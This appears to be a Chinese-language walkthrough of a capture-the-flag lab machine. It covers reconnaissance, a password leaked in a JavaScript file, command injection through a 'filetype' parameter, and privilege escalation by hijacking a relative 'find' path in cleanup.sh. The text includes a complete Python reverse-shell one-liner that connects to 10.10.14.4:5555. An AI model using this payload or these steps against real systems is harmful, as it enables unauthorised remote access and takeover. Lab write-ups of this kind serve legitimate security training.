一、信息收集
用nmap、dirsearch进行信息收集,发现开放22,80端口,一个矢量图标和printer目录。最开始我注意的是nginx,在网上搜索该版本漏洞后发现能使用的只有一个路径穿越漏洞/file../,且并未泄露有效信息。我们接着从80入手,将域名添加到本地hosts后进行访问。
二、本地JS文件中发现密码
访问printer目录,是一个登录框,尝试admin123等弱密码无果后放弃。
发现JS文件,进行访问
在JS文件中发现之前扫描的printer目录,并附带有登录密码
使用密码成功登录
三、命令注入,远程代码执行
使用burp抓包,发现注入点为filetype
新建监听,使用python3#1playload直接反弹shell
playload:export RHOST="10.10.14.4";export RPORT=5555;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
查看当前可执行文件cleanup.sh,该文件类型为bash脚本,从文件最后一行中得出,find使用的相对路径,并非绝对路径,那我们在find文件中写入恶意代码,改变当前环境即可获取权限。